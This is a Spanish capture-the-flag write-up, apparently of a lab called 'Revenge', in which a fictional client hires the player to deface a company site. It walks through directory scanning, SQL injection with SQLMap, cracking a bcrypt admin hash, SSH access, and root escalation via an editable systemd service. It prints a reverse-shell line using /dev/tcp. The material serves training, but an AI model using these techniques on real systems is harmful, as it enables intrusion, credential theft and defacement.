Message from Billy Joel

Billy Joel te ha mandado un mensaje en relación a tu misión.

txt
To whom it may concern, I know it was you who hacked my blog. I was really impressed with your skills. You were a little sloppy and left a bit of a footprint so I was able to track you down. But, thank you for taking me up on my offer. I've done some initial enumeration of the site because I know *some* things about hacking but not enough. For that reason, I'll let you do your own enumeration and checking. What I want you to do is simple. Break into the server that's running the website and deface the front page. I don't care how you do it, just do it. But remember...DO NOT BRING DOWN THE SITE! We don't want to cause irreparable damage. When you finish the job, you'll get the rest of your payment. We agreed upon $5,000. Half up-front and half when you finish. Good luck, Billy
La traducción:
txt
A quien corresponda: Sé que fuiste tú quien hackeó mi blog. Me impresionaron mucho tus habilidades. Fuiste un poco descuidado, y dejaste algunas huellas, así que pude rastrearte. Pero gracias por aceptar mi oferta. He realizado una evaluación inicial del sitio porque sé algunas cosas sobre hacking, pero no lo suficiente. Por eso, te dejo que hagas tu propia evaluación y comprobación. Lo que quiero que hagas es simple: accede al servidor que aloja el sitio web y modifica la página principal. No me importa cómo lo hagas, solo hazlo. Pero recuerda: ¡NO DEJES EL SITIO FUERA DE SERVICIO! No queremos causar daños irreparables. Cuando termines el trabajo, recibirás el resto del pago. Acordamos $5,000. La mitad por adelantado y la otra mitad al terminar. Buena suerte, Billy
Revengeee

¡Esta es la venganza! Billy Joel te ha contratado para introducirte y defacear (modificar la página principal) la página de Rubber Ducky Inc.. Él fue despedido, probablemente por buenos motivos pero a quién le importa, tú estás aquí por la pasta. ¿Puedes completar tu parte del trato?
Finding the flags
- Vamos a la página que nos dan.
Una vez allí investigamos las páginas y encontramos algunas:
- Home
- Products
- Contact
- Login
- Pero como somos gente curiosa no nos quedamos ahí y vamos a hacer un escaneo más profundo con nuestra herramienta de elección. En mi caso voy a usar
gobuster.
Hemos encontrado dos directorios que no aparecían directamente en la web, aunque el directorio /staticparece estas en estado403 Forbbiden. - Comprobamos lo que hay en
/admin.
Parece que hemos encontrado el login del administrador, pero no tenemos credenciales (todavía). - Vamos a hacer un nmap, no sea que estemos pasando algo por alto.
Parece que está abierto el puerto SSH, hmmm... - Volvamos a investigar el resto de las páginas. No vemos nada interesante (más allá de la página de login normal, pero nosotros ya tenemos la del admin) hasta que llegamos a la página
/products.
- Si hacemos click en alguno de los productos, vemos que en la URL aparece un número (que pareciera ser el ID del producto en cuestión).

- Si probamos a cambiar ese número por uno que no exista, como
0, vemos que el servidor no responde con un404 Not Found, sino con un500 Internal Server Error, por lo que sabemos que esos números no son páginas html sino en efecto IDs que se están comprobando en una base de datos.
- Vamos a probar la herramienta
SQLMapcon esta URL.
- Después de esperar un poco, obtenemos las bases de datos:

- Ahora sólo queda ir abriéndonos paso hasta dar con las credenciales de un administrador.
- Primero sacamos las tablas.

- Luego dumpeamos la tabla que nos interesa (en nuestro caso los usuarios más interesantes estarán en
system_user).
¡Vaya! Parece que están hasheadas. Bueno, eso no va a ser un impedimento para nosotros.
- Primero sacamos las tablas.
- Antes de continuar vamos a ver que hay en la tabla users también.
Vaya vaya, parece que aquí tenemos nuestra primera flag. - Cogemos la contraseña hasheada del administrador. Por el comienzo sabemos que es un bcrypt. Vamos a descifrarla.
- Buscamos el tipo de hash. Y metemos el nuestro en un archivo.

- Lo deshasheamos con la herramienta
hashcat.
- Buscamos el tipo de hash. Y metemos el nuestro en un archivo.
- Vamos a loguearnos. Pero lo vamos a hacer por SSH en el servidor, ya que no tiene mucho sentido hacerlo en la página, cuando lo que queremos es hacerle un deface a la página.
Estamos dentro, veamos qué hay por aquí. - Hacemos un
lsy ¡sorpresa!
- Sólo nos queda hacer el deface. Pero antes vamos a mirar que hay en
/root, ¿no? Por curiosidad.
Vaya, parece que nos hemos encontrado un problema, tendremos que escalar privilegios. - Veamos qué comandos podemos ejecutar: con
sudo -l.
Parece que podemos jugar con un servicio como root... ¡y encima podemos editarlo! Ya está, el cóctel perfecto. - Vamos a editar dicho servicio. Como sabemos que lo ejecuta el sistema (es decir que tiene permisos de administrador) vamos a intentar mandarnos una reverse shell.
- Vamos a la página de Shell Generator y buscamos una que nos guste.

- Nos ponemos en escucha.

- Editamos el servicio para que ejecute el siguiente comando:
sh -i >& /dev/tcp/192.168.129.186/9000 0>&1, el cual nos mandará una reverse shell.

- Debemos editar el ExecStart y el usuario que lo ejecuta.

- Vamos a la página de Shell Generator y buscamos una que nos guste.
- Hacemos un reload del daemon seguido de un restart del servicio, que eran dos comandos a los que también teníamos acceso.

- Y tal cual acabamos de conseguir ser root.

- Ahora sí vamos a mirar qué hay en
/rootseguro que está la flag.
Pues no xD - Bueno, vamos a hacer lo que nos pedía el reto, hacerle un defacement a la página principal.
Como estoy de mal humor porque no he visto la flag todavia mando la página principal a la mierda >:( - A ver si ahora ya está la flag por algún sitio.

pwned by xut
